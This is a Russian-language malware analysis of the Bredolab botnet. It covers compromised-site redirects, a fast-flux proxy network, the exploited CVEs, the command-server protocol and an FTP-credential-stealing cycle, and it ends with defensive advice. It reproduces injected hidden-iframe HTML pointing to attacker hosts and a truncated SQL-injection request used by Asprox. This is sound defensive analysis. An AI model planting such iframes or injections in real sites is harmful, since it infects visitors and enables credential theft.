25 октября 2010 года отдел по борьбе с киберпреступлениями полиции Нидерландов объявил об обезвреживании 143 контролирующих серверов ботнета Bredolab. На следующий день в Международном аэропорту Еревана был задержан один из владельцев отключенной зомби-сети. Возможно, для ботнета Bredolab все кончено, но технологии, использованные для его создания, к сожалению, могут послужить для построения других ботнетов.
Особенности создания ботнета Bredolab
Вредоносные программы семейства Backdoor.Win32.Bredolab известны по крайней мере с середины 2008 года. Основной задачей Bredolab является загрузка на зараженный компьютер других вредоносных программ. Система управления загрузками, включающая в себя лоадер (Backdoor.Win32.Bredolab) и панель администрирования, предлагалась для продажи на хакерских форумах. Именно это программное обеспечение легло в основу ботнета Bredolab, появившегося в середине 2009 года и насчитывающего, по сведениям голландской полиции, около 30 миллионов компьютеров пользователей из разных стран мира.
Основная особенность ботнета состояла в способе его формирования. Для распространения вредоносной программы-бота использовались взломанные легитимные веб-сайты, посетители которых перенаправлялись на вредоносные ресурсы, с которых и происходило заражение пользовательских компьютеров Backdoor.Win32.Bredolab. И все это в автоматическом режиме.
Взломанные сайты
В самом начале существования ботнета на страницы взломанных веб-сайтов вставлялся скрытый тег Iframe со ссылкой на вредоносный ресурс. В конце 2009 года этот Iframe был заменен на обфусцированный JavaScript-код — скриптовый загрузчик Trojan-Downloader.JS.Pegel, при выполнении которого браузер расшифровывал и вставлял в HTML-страницу тег script со ссылкой на вредоносный ресурс. Задачей Pegel являлась загрузка на компьютер жертвы эксплойтов, которые в свою очередь загружали Bredolab. С середины лета 2010 года злоумышленники вновь стали использовать Iframe.
Отметим, что схема распространения Bredolab была похожа на ту, которую использовали создатели ботнета Gumblar, а Pegel по способу обфускации — на скриптовый загрузчик Gumblar.
Угроза носила глобальный характер. Веб-ресурсы, содержащие вредоносный код, были обнаружены в разных странах.
Распределение зараженных Trojan-Downloader.JS.Pegel веб-ресурсов по странам:
январь — октябрь 2010 г.
Риску заражения Bredolab подвергались пользователи многих стран.
Распределение детектирований Backdoor.Win32.Bredolab
на компьютерах пользователей по странам: январь — октябрь 2010 г.
Интернет-форумы запестрели сообщениями о внедренном в веб-страницы легитимных сайтов обфусцированном JavaScript-коде, который перенаправлял пользователей на веб-ресурсы, находящиеся под контролем злоумышленников.
В начале 2010 года на форумах было много сообщений, подобных приведенному выше. Тогда одним из основных отличительных признаков Pegel являлись комментарии /*GNU GPL*/, /*LGPL*/, /*CODE1*/ или /*Exception*/, размещенные в начале вредоносного JavaScript-кода. Код зараженной страницывыглядел примерно так:
Пример зараженной легитимной веб-страницы
В дальнейшем комментарий из кода скрипта исчез, а обфускация становилась все более сложной:
Пример зараженной страницы, с более сложной обфускацией вредоносного JavaScript-кода
Особого внимания заслуживает внешний вид ссылок на вредоносные ресурсы, используемых в течение нескольких первых месяцев с момента появления Pegel. Доменная часть и путь к вредоносному скрипту в этих ссылках состояли из известных доменных имен, следующих друг за другом, например,
hxxp://twitpic-com.fastclick.com.shinobi-jp.bestb***site.ru:8080/google.com/google.com/novoteka.ru/vagos.es/radikal.ru/
hxxp://google-com-sa.scribd.com.google-hr. bestb***site.ru:8080/bu520.com/bu520.com/google.com/56.com/ups.com/
hxxp://staples-com.toysrus.com.ngoisao-net.cars***net.ru:8080/google.com/google.com/livedoor.biz/atwiki.jp/torrents.ru/
Домены второго уровня состояли из идущих подряд двух-трех английских слов, друг с другом обычно не связанных. Создание вредоносных ссылок, похожих на адреса популярных веб-ресурсов, — один из излюбленных методов социальной инженерии, применяемых злоумышленниками для того, чтобы у пользователей возникало как можно меньше подозрений.
Позже доменная часть ссылок стала состоять из доменов второго уровня:
hxxp://help***ecare.at:8080/vkontakte-ru/google.com/chinahr.com.php
hxxp:// jui***ile.ru:8080/sify-com/google.com/last.fm.php
hxxp:// pass***tblues.ru:8080/google.com/kijiji.ca/pornhub.com.php
hxxp:// best***kstar.info:8080/google.com/travian.com/youjizz.com.php
Еще позже из ссылок исчезли длинные пути, путь поменялся на index.php.
Fast-flux сеть
Домены, содержащиеся во вредоносных ссылках, регистрировались в нескольких доменных зонах: ru, info, at, com. Каждый домен располагался на пяти IP-адресах, и, в свою очередь, каждый IP-адрес был связан со множеством вредоносных доменов.
Соответствие IP-адресов вредоносным доменам
Количество IP-адресов колебалось от 20 до 40. С течением времени какие-то адреса выбывали, новые адреса добавлялись. Периодически IP-адреса, связанные с определенным доменом, менялись.
A-записи в разные моменты времени
Оказалось, что все используемые IP-адреса принадлежали выделенным серверам (или виртуальным выделенным серверам) разных хостинг-провайдеров. Кроме того, дальнейший анализ показал, что на порту 80 на многих таких серверах размещались и легальные веб-сайты, никак не связанные с криминалом. Подобная картина наталкивает на мысль о том, что серверы, на которых располагались вредоносные домены, возможно, были каким-то образом взломаны. Часть зарегистрированных злоумышленниками доменов использовалась для DNS-сервисов, поднятых на тех же взломанных серверах, более того, NS-записи, как и A-записи, также периодически изменялись.
NS-записи в разные моменты времени
Описанное выше очень напоминает работу fast-flux сетей, а конкретней — двухпоточной fast-flux сети, в которой меняются еще и адреса DNS-серверов.
Еще один интересный момент: в абсолютном большинстве случаев все вредоносные ссылки указывали на порт 8080, а в HTTP-заголовках ответа сервера в поле Server значилось nginx. Nginx — это весьма популярный HTTP-сервер, который часто используется в качестве обратного прокси. Пользователи, пройдя по вредоносной ссылке, попадали на прокси-серверы, которые перенаправляли запрос к реальному центру управления ботнетом.
Fast-flux сеть, состоящая из прокси-серверов, помогает скрывать командный центр ботнета от специалистов по компьютерной безопасности. Все запросы на загрузку вредоносного кода, исходящие от вредоносного JavaScript-кода и эксплойтов, а также запросы Bredolab к командному центру проходили через прокси-серверы этой fast-flux сети.
Большинство доменов fast-flux сети регистрировались самими злоумышленниками. Однако в начале лета 2010 года появились домены, представляющие собой поддомены третьего уровня:
kollinsoy.skyef***on.com
aospfpgy.dogpl***tation.com
oployau.fancou***logger.com
hosotpoyu.credi***brary.com
В то время как домены третьего уровня указывали на прокси-серверы fast-flux сети ботнета Bredolab, на доменах второго уровня из этих ссылок располагались легитимные сайты. IP-адреса доменов третьего и второго уровня различались. Каким-то образом (через взлом пользовательских учетных записей или как-то иначе) злоумышленники получили возможность управлять настройками DNS этих сайтов.
Заражение компьютеров пользователей
После того как браузер пользователя с помощью Pegel или с помощью Iframe перенаправлялся на вредоносный сайт, с этого сайта скачивался JavaScript-код:
который после деобфускации выглядит так:
Отработав, JavaScript-код внедрял в страницу следующий HTML-код:
<div id=»DIV»>
<iframe src=»http://ma***gh.com:8080/index.php?Mvplkcm435j=11&pid=1″ width=»1″ frameborder=»0″ height=»1″></iframe>
</div>
По ссылке скачивался еще один JavaScript-код.
Его фрагмент после деобфускации выглядит так:
Этот код перенаправлял запрос пользователя в браузере на эксплойты.
Эксплойты использовали уязвимости: в Adobe Acrobat — в функциях util.printf (CVE-2008-2992), Collab.collectEmailInfo (CVE-2008-0655), Collab.getIcon (CVE-2009-0927), media.newPlayer (CVE-2009-4324); в виртуальной Java-машине (CVE-2010-0886) и в MDAC RDS.Dataspace ActiveX компоненте (CVE-2006-0003).
Фрагмент деобфусцированного JavaScript-кода в pdf-эксплойте
Java-эксплойт загружался в два этапа: сначала скачивалась страница Applet1.html, содержащая тег <applet> с именами jar-файлов. Затем загружались сами эксплойты.
HTML-страница Applet1.html, загружающая java-эксплойт
Отработав, эксплойты загружали на компьютер жертвы и запускали вредоносную программу Backdoor.Win32.Bredolab, основным предназначением которой является загрузка и запуск другого вредоносного ПО.
Этапы заражения пользовательского компьютера
Ботнет в действии
Запустившись на компьютере жертвы, для загрузки дополнительных вредоносных программ бот отправляет своему командному центру запрос следующего вида:
http://ba***il.ru:8080/new/controller.php?action=bot&entity_list=&first=1&rnd=981633&id=1&guid=3676040431.
В теле ответа, приходящего с командного центра ботнета, находятся зашифрованные исполняемые файлы (как правило, 3-4 файла), идущие друг за другом.
Ответ командного центра, содержащий зашифрованное вредоносное ПО
В заголовке ответа содержится поле Entity-Info, состоящее из списка элементов, разделенных точкой с запятой. Каждый элемент описывает один исполняемый файл, находящийся в теле ответа. Элемент разделен двоеточиями на числовые поля, например второе поле каждого элемента содержит размер соответствующего исполняемого файла. Таким образом, можно определить, где заканчивается один файл и начинается следующий.
В заголовке ответа в поле Magic-Number содержится ключ для расшифровки тела ответа. Он состоит из чисел, разделенных символом ‘|’. Первое число является длиной ключа, второе — обозначает алгоритм шифрования, цифра 1 — это обычный XOR; оставшаяся часть поля представляет собой сам ключ расшифровки. Здесь необходимо отметить, что и вредоносный JavaScript-код, и эксплойты, и Bredolab, и другие вредоносные программы, устанавливаемые Bredolab на компьютер жертвы, загружались с одних и тех же доменов, входящих в fast-flux сеть ботнета Bredolab.
Bredolab загружал на компьютер жертвы довольно широкий спектр вредоносного ПО:
Trojan-Spy.Win32.Zbot,
Trojan-Spy.Win32.SpyEyes,
Trojan-Spy.Win32.BZub,
Backdoor.Win32.HareBot,
Backdoor.Win32.Blakken,
Backdoor.Win32.Shiz,
Trojan-Dropper.Win32.TDSS,
Trojan-Ransom.Win32.PinkBlocker,
Trojan.Win32.Jorik.Oficla.
И список этот далеко не полный.
Некоторые из этих вредоносных программ передают в запросах к своим командным центрам параметры, обозначающие идентификационный номер партнера. Например, Backdoor.Win32.Shiz, загруженный Bredolab, передает параметр seller=15, означающий, что он был установлен в систему с помощью Bredolab. Передача таких идентификационных номеров на C&C обычно свидетельствует о том, что вредоносная программа распространяется через партнерки. Это, а также разнообразие софта, загружаемого Bredolab, указывает на то, каким образом владельцы ботнета Bredolab монетизировали свои усилия по созданию ботнета — они зарабатывали на загрузках, то есть принимали заказы от других злоумышленников на загрузку их вредоносного ПО.
Из всего набора загружаемого ПО особого внимания заслуживает Trojan-PSW.Win32.Agent.qgg. Будучи установленным на пользовательской машине, этот троянец пытается найти пароли к ftp-аккаунтам, сохраненные следующими клиентами:
Filezilla 3 | Ftp Explorer |
Ftp Navigator | FlashFXP |
BulletProof Ftp | FTPRush |
CuteFtp | Firefox |
ALFTP | Auto FTP |
Far 2 | Total Command |
Frigate 3 |
Найдя пароли, троянец отправляет их на сервер злоумышленников.
Trojan-PSW.Win32.Agent.qgg интересен потому, что сервер, на который этот троянец отправлял украденные пароли, принадлежал самим владельцам ботнета Bredolab. И именно с помощью украденных паролей к ftp-аккаунтам происходило заражение легальных сайтов вредоносным кодом. Такая замкнутая схема оказалась довольно эффективной.
Вредоносный цикл
После детального изучения стала ясна более или менее полная картина создания ботнета.
- При посещении зараженного Pegel/Iframe сайта браузер пользователя подгружает с вредоносного ресурса страницу, содержащую вредоносный JavaScript-код.
- Этот код инициирует заражение компьютера пользователя программой Bredolab , которая загружает дополнительное вредоносное ПО, включая троянца, похищающего пароли к ftp-аккаунтам. Происходит это все через один из обратных прокси-серверов, скрывающих настоящий центр управления ботнетом.
- Через какое-то время происходит заражение веб-сайта, для которого были украдены учетные записи. С использованием похищенных логина и пароля к ftp-аккаунту с сервера скачивается содержимое веб-сайта, при этом скачивается не весь контент, а файлы, начинающиеся на index*, default*, main*, а также все файлы с расширением *.js. Обратно на веб-сайт эти файлы закачиваются с уже встроенным вредоносным кодом. Интересно отметить, что как скачивание, так и последующее закачивание происходит со множества IP-адресов. Каждый файл может скачиваться с одного IP-адреса, а закачиваться уже с другого.
- После того как другой пользователь заходит на зараженный сайт, описанная схема повторяется.
Очевидно, что машины, участвовавшие в заражении сайта, являлись прокси-серверами. Злоумышленники использовали две группы прокси-серверов: одну для заражения пользовательской машины, вторую — для заражения сайта. Пересечений между первой и второй группой прокси-серверов выявлено не было.
Фрагмент ftp-лога, иллюстрирующий процесс заражения веб-сайта
Схема создания ботнета Bredolab
Эту схему распространения злоумышленники использовали на протяжении всего времени существования ботнета Bredolab.
Трафик
Описанная выше схема самоподдержания ботнета, безусловно, эффективна, хотя бы в силу автоматизации процесса заражения новых пользовательских машин. Однако у нее есть один недостаток. Схема начинает работать с момента, когда пользователя перенаправляют с зараженного легитимного ресурса на вредоносный домен из fast-flux сети. При этом количество зараженных Bredolab компьютеров пользователей, имеющих административный доступ к каким-либо веб-сайтам, ограничено. Соответственно, ограничено и число веб-ресурсов, которые злоумышленники могли инфицировать, используя украденные у этих пользователей пароли к ftp-аккаунтам. Сайты с высокой посещаемостью достаточно оперативно очищались от вредоносного ПО — чем больше аудитория сайта, тем больше вероятность того, что кто-то из посетителей заметит неладное и сообщит администрации сайта.
Количество зараженных в результате работы этой схемы компьютеров оказалось не достаточным для злоумышленников. Чтобы повысить эффективность атаки, необходимо было увеличить трафик число посетителей, перенаправленных на вредоносные домены fast-flux сети. Сделать это злоумышленники пытались различными способами.
Зараженные обфусцированным JavaScript-кодом легитимные сайты использовались для перенаправления пользователей на вредоносные ресурсы с декабря 2009 года. Вредоносный код мог поджидать пользователей даже на очень популярных сайтах. Открытая пользователем в браузере веб-страница – в кодовом виде – могла, например, иметь следующий вид:
Пример инфицированной веб-страницы
После исполнения браузером зашифрованного кода в страницу вставлялся тег <script>, содержащий Trojan-Downloader.JS.Pegel, который перенаправлял пользователя на вредоносный ресурс.
Пользователи могли получить ссылку на вредоносный контент «с доставкой на дом» в спаме. В июне 2010 года модификация Trojan-Downloader.JS.Pegel.g заняла первое место в списке наиболее распространенных в почте вредоносных вложений.
Наиболее распространенные в почте вредоносные файлы в июне 2010 г.
Некоторые вредоносные спам-атаки были довольно изощренными. В том же июне прошла волна спама, имитировавшего сообщения от имени таких популярных сайтов, как Twitter, Youtube, Amazon, Facebook, Skype и др. Письма содержали либо вредоносный код Pegel в HTML-вложении, либо ссылки на зараженные сайты.
Пример спам-письма со ссылками на вредоносный сайт
Если пользователь проходил по ссылке, то с зараженного сайта в браузер загружалась HTML-страница, имеющая следующий код:
PLEASE WAITING 4 SECOND…
<meta http-equiv=»refresh» content=»4;url=http://spr***team.com»>
</head><body>
<iframe src=»http://yu***eyes.ru:8080/index.php?pid=10″ style=»visibility: hidden;» height=»1″
width=»1″></iframe>
</body></html>
Тег meta-refresh через несколько секунд перенаправлял пользователя на страницу сайта Canadian Pharmacy, торгующего виагрой и другими медикаментами.
В то же время по ссылке, содержащейся в теге Iframe, браузер перенаправлялся на один из прокси-серверов, входящих в fast-flux сеть, для заражения пользовательского компьютера Bredolab.
В августе был замечен еще один источник трафика. Спам-бот Asprox, обладающий возможностью осуществлять SQL-инъекции сайтов, написанных на ASP, начал заражать легитимные сайты, внедряя в них Iframe со ссылкой на nem****n.ru/tds/go.php?sid=1.
GET /page.asp?id=425; declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320…
5205461424c655f435552736f7220%20as%20varchar(4000));exec(@s);–
Пример SQL-инъекции, используемой ботом Asprox
После того как пользователь заходил на зараженный сайт, его браузер открывал ссылку, содержащуюся в теге Iframe. По этой ссылке размещалась TDS (traffic distribution system — система распределения трафика), которая перенаправляла браузер на вредоносные домены, входящие в принадлежащую владельцам ботнета Bredolab fast-flux сеть, для заражения компьютера пользователя Bredolab. В сутки таким образом перенаправлялось около 10 тыс. пользователей.
Наконец, в сентябре стало известно об очередном способе перенаправления пользователей на домены fast-flux сети ботнета Bredolab. Взлому подверглись легитимные сайты, использующие баннерный движок OpenX для показа рекламы. Эксплуатировалась уязвимость в компоненте Open Flash Chart 2, позволяющая злоумышленникам загружать произвольные файлы на сервер. В итоге на популярных сайтах, в числе которых оказались thepiratebay.org, tucows.com, afterdawn.com, esarcasm.com, tutu.ru, были подменены баннеры. Баннеры представляли собой флеш-файлы, содержащие ActionScript-код, который перенаправлял пользователей на вредоносные ресурсы. В то же время на официальный сайт проекта OpenX была организована DDoS-атака — в результате пользователи в течение нескольких дней были лишены возможности скачать обновление движка и тем самым закрыть уязвимость.
Фрагмент вредоносного swf-файла
Фрагмент ActionScript-кода, вставляющего в HTTP-страницу тег script
со ссылкой на вредоносный сайт
После сильного всплеска в июне, связанного с распространением в спаме писем со ссылками на вредоносные ресурсы ботнета, произошел спад активности Pegel. Несмотря на это, угроза еще могла бы проявить себя — если бы всему ботнету Bredolab не пришел конец.
Заключение
Владельцы ботнета Bredolab создали 30-миллионную зомби-сеть, которая функционировала в течение продолжительного времени. Для поддержания ботнета в рабочем состоянии злоумышленники довольно умело и эффективно скрывали центр управления ботнетом, используя технику fast-flux сетей. Такая схема не только обеспечивает хорошую отказоустойчивость командного центра ботнета, но и упрощает управление вредоносным контентом: вместо того чтобы администрировать вредоносные сайты на множестве узлов, киберпреступникам достаточно разместить один такой сайт на C&C и настроить на него редиректоры.
Ботнет Bredolab ввиду своей сложности, скорее всего, контролировался не одним человеком. Однако пока известно об аресте только одного злоумышленника, связанного с этим ботнетом. Существует вероятность того, что остальные участники преступной группы спустя какое-то время продолжат свое дело, так как схема, придуманная и реализованная ими, достаточно эффективна. Технологии, использованные для создания и поддержки работоспособности ботнета: обфускация JavaScript кода, загружающего эксплойты, замкнутый цикл построения зомби-сети, создание сетевой инфраструктуры, использующей fast-flux, и т.д. — могут быть приняты на вооружение и другими злоумышленниками.
Одной из главных особенностей ботнета Bredolab являлся близкий к замкнутому цикл построения зомби-сети, когда инфицированные пользовательские машины заражают веб сайты, посредством которых заражаются новые пользовательские ПК. Плюс к этому постоянно шел поиск новых способов перенаправления пользователей на вредоносные домены. Основным источником опасности при такой схеме служат зараженные веб-сайты, посещение которых приводит к тому, что на машины пользователей загружается вредоносное ПО. Информация с зараженных пользовательских компьютеров в свою очередь может быть использована для заражения веб-сайтов.
Для того чтобы обезопасить себя от подобного типа угроз, необходимо придерживаться следующих рекомендаций по защите пользовательских компьютеров и веб-сайтов.
Защита пользовательских компьютеров
- Необходимо своевременно устанавливать обновления и для операционной системы, и для программ сторонних разработчиков, так как большинство эксплойтов и червей используют уязвимости в ПО, которые уже закрыты в обновленных версиях соответствующих продуктов.
bРазумеется, надо установить антивирусное ПО и поддерживать антивирусные базы в актуальном состоянии. Антивирус хоть и не панацея, но способен значительно снизить риск заражения компьютера. - Ну и конечно, не стоит проходить по ссылкам в спамовых письмах, в сообщениях от незнакомых людей в социальных сетях и программах мгновенного обмена сообщениями. Это, как говорится, без комментариев.
Защита сайтов
- Для заражения веб-сайта могут быть использованы уязвимости в коде сайта. Для того чтобы свести к минимуму возможность использования злоумышленниками уязвимостей, необходимо следить за выпуском обновлений ПО и своевременно обновлять программное обеспечение сайта.
- Следует помнить о существовании сервисов и систем сканирования сайтов для обнаружения вредоносного кода, а также несанкционированного изменения контента.
- В целях безопасности лучше отключить автоматическое сохранение ftp-паролей в ftp-клиентах (напомним, что многие программы, ворующие пароли от ftp-аккаунтов, в частности используемый Bredolab Trojan-PSW.Win32.Agent.qgg, ищут на зараженном компьютере именно сохраненные пароли).
- Может оказаться полезным периодически делать резервные копии сайта (баз данных, файлов, в которых могут храниться важные данные) на случай, если в результате заражения данные окажутся испорченными.
- Если сайт все-таки оказался заражен, простого удаления вредоносного кода с сайта может быть недостаточно. Например, если были похищены пароли для ftp, то через некоторое время сайт может быть снова заражен. Для устранения проблемы нужно выполнить следующие шаги:
- Проверить наличие обновлений для ПО, установленного на сайте, и загрузить их (чтобы исключить заражение сайта через уязвимости).
- Используя антивирусный продукт с самыми свежими антивирусными базами, провести полное сканирование пользовательских компьютеров, с которых есть доступ к ftp сайта.
- Сменить пароли к ftp-аккаунту.
- Очистить сайт от вредоносного кода.
Следуя приведенным выше рекомендациям, можно значительно снизить риск того, что ваши компьютерные ресурсы окажутся частью какого-нибудь ботнета. Не забывайте, что заражение проще предупредить, чем вылечить.
Ботнет Bredolab. Конец истории?